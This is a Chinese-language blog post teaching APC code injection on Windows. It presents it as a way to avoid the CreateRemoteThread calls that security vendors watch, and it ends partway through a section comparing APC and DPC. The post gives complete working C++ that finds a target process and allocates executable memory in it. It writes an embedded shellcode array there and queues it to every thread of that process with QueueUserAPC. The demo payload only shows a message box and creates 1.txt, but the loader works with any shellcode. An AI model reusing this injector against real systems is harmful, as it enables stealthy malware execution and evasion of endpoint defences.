https://www.cnblogs.com/theseventhson/p/13197776.html 上一章介绍了通用的shellcode加载器,这个加载器自己调用virtualAlloc分配空间、复制shellcode、执行shellcode,所有操作都在加载器的空间,隐蔽性不强,容易被发现。如果能在其他进程空间把shellcode注入,然后执行了? 可以达到金蝉脱壳的目的;那么该怎么做了?
熟悉win32编程的同学第一时间可能就想到了createRemoteThread+virtualAllocEx:在目标进程创建一个线程,把shellcode复制到目标进程后执行。这么做技术上可行,但这两个API实在是太出名了(createRemoteThread号称是windows的万恶之源,早期很多病毒、木马都利用了这个API),早就被各大厂商盯死,可能达不到预期;今天介绍另一种远程代码注入的方式:APC注入
1、先简单介绍一下APC
- APC本质:线程在执行的时候如果自身不主动跳转去其他地方(放弃CPU控制权),就会一直占有CPU,那么怎么杀死线程了?所以有了APC机制:线程执行的时候定时检查是否有另外需要执行的代码,如果有就去执行;该代码(函数),就是APC。再直白一点:APC是个队列,里面存储了可执行的代码;线程在正常执行的时候如果满足某些特定的条件(比如alterable,这个很重要,后续会详细介绍),会去APC队列检查,一旦发现不为空,就会取出队列的代码执行,直到执行完毕为止;通过这种方式,可以让3环的死循环线程无法100%占用CPU资源,其他线程才能正常执行;
- 刚才说到alertable状态,这个怎么理解? 其实就是线程暂时没有重要的事情要做,就叫做这个状态。APC函数一般不会去干扰(中断)线程的运行。一个线程附带着两个APC队列(用户APC、系统APC),也就相当于这两个队列的APC函数都是由“线程本身”来储备调用的(APC函数就相当于奥运会比赛上的预备选手),只有当线程处于“可警告的线程等待状态”才会去调用APC函数(比赛时只有主将无法上场时,预备选手才会出现)
- 用户模式下,可以调用函数SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx都可以使目标线程处于alertable等待状态(无重要事情要做),从而让用户模式APCs执行,这点也很重要,后面的实验会用到这一特性;
2、 APC代码注入核心步骤介绍
(1)APC和线程相关的,既然注入APC,势必要找到目标线程。线程又属于进程,那么就要先遍历进程,核心代码如下:先遍历进程,根据进程名(这里我自己单独写了一个简单的程序,没用explorer来测试,原因后面再解释)找到目标进程,然后打开进程、分配空间、写入shellcode;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; SIZE_T shellSize = sizeof(buf); HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); printf("shellAddress is: %p ", shellAddress);
(2)接着遍历进程的线程,调用最核心的QueueUserAPC函数,将shellcode注入目标线程
if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); printf("apcRoutine is: %p------>threadId:%d ", apcRoutine, threadId); Sleep(1000 * 2); }
(3)注入完成后就等待shellcode被调用了。这段代码是借(chao)鉴(xi)https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 这里的,原作者刚开始用的explorer.exe,我也是这么做的,代码运行后,迟迟不见效果,于时打开process hacker,发现shellcode已经注入目标进程空间,如下:
并且地址的属性是RWX,这里没任何问题,shellcode迟迟未被执行的原因只能是线程状态不是alterable了,这里没办法,只能继续等;process hacker提供了查看线程状态的功能,等了许久还是未等到有线程的状态变为alertable,一直看不到效果,无奈只能放弃这种方式;
(4)既然等不到,就自己构造,很简单,如下:核心是调用sleepEX函数,让其休眠10分钟,第二个参数是TRUE,表明是alertable 的,这样一来只要APC队列有代码,main函数就会执行;
#include <windows.h> #include <stdio.h> int main() { printf("enter alertable statues..............."); SleepEx(1000*600,TRUE); }
执行后查看发现只有这一个线程的,应该是main:
这次终于成功执行了自己的shellcode:能看到messagebox的弹窗:
目标程序所在的目录下也生成了1.txt文本;
3、实验总结:
(1)上面shellcode都是手动复制到代码内,写死了不说,每次复制shellcode还比较麻烦,当时我想着写代码直接从磁盘读(最初的加载器不就是这么干的么?),如下:
HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d ", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID buf = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buf == NULL) { printf("VirtualAlloc error:%d ", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, buf, dwSize, &dwRead, 0); printf(" %s File read length:%d ", argv[1], dwRead); printf("buf length=%d ", sizeof(buf));//shellcode里面有00,导致buf被阶段,长度只有4;
查看目标进程内存时发现并未复制完全,罪魁祸首是中间遇到00,被截断,buf读取的长度只有4;
各位读者有更好的解决办法还请不吝赐教。
(2)完整的代码:
#include <iostream> #include <Windows.h> #include <TlHelp32.h> #include <vector> int main() { unsigned char buf[] = "xE9x8Bx01x00x00xCCxCCxCCxCCxCCxCCxCCxCCxCCxCCxCCx64xA1x30x00x00x00x85xC0x78x0Dx8Bx40x0Cx8Bx40x14x8Bx00x8Bx00x8Bx40x10xC3xCCxCCxCCxCCxCCxCCxCCxCCx55x8BxECx83xECx40x53x56x8BxD9x57x89x5DxF4xE8xCDxFFxFFxFFx8BxF0x33xFFx8Bx56x3Cx39x7Cx32x7Cx75x07x33xFFxE9x9Cx00x00x00x8Bx44x32x78x85xC0x74xF1x8Bx54x30x18x85xD2x74xE9x8Bx4Cx30x24x8Bx5Cx30x20x03xCEx8Bx44x30x1Cx03xDEx03xC6x89x4DxFCx33xC9x89x45xF8x4Ax8Bx04x8Bx03xC6x80x38x47x75x4Ex80x78x01x65x75x48x80x78x02x74x75x42x80x78x03x50x75x3Cx80x78x04x72x75x36x80x78x05x6Fx75x30x80x78x06x63x75x2Ax80x78x07x41x75x24x80x78x08x64x75x1Ex80x78x09x64x75x18x80x78x0Ax72x75x12x80x78x0Bx65x75x0Cx80x78x0Cx73x75x06x80x78x0Dx73x74x07x41x3BxCAx76xA3xEBx0Fx8Bx45xFCx8Bx7DxF8x0FxB7x04x48x8Bx3Cx87x03xFEx8Bx5DxF4x8Dx45xC0x89x3Bx50xC7x45xC0x4Cx6Fx61x64xC7x45xC4x4Cx69x62x72xC7x45xC8x61x72x79x41xC6x45xCCx00xE8xF9xFExFFxFFx50x8Bx03xFFxD0x8Dx4DxDCx89x43x04x51x8Dx4DxE8xC7x45xE8x55x73x65x72x51xC7x45xECx33x32x2Ex64x66xC7x45xF0x6Cx6CxC6x45xF2x00xC7x45xDCx4Dx65x73x73xC7x45xE0x61x67x65x42xC7x45xE4x6Fx78x41x00xFFxD0x50x8Bx03xFFxD0x89x43x08x8Dx45xD0x50xC7x45xD0x43x72x65x61xC7x45xD4x74x65x46x69xC7x45xD8x6Cx65x41x00xE8x94xFExFFxFFx50x8Bx03xFFxD0x5Fx5Ex89x43x0Cx5Bx8BxE5x5DxC3xCCxCCxCCxCCxCCx55x8BxECx83xECx24x8Dx4DxDCxE8x92xFExFFxFFx6Ax00x8Dx45xFCxC7x45xECx48x65x6Cx6Cx50x8Dx45xECx66xC7x45xF0x6Fx21x50x6Ax00xC6x45xF2x00xC7x45xFCx54x69x70x00xFFx55xE4x6Ax00x6Ax00x6Ax02x6Ax00x6Ax00x68x00x00x00x40x8Dx45xF4xC7x45xF4x31x2Ex74x78x50x66xC7x45xF8x74x00xFFx55xE8x8BxE5x5DxC3xCCxCCxCCxCC"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; SIZE_T shellSize = sizeof(buf); HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); printf("shellAddress is: %p ", shellAddress); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); printf("apcRoutine is: %p------>threadId:%d ", apcRoutine, threadId); Sleep(1000 * 2); } return 0; }
(3)和APC对应另一个重要的概念是DPC,这里简单做个总结对比:
APC执行过程: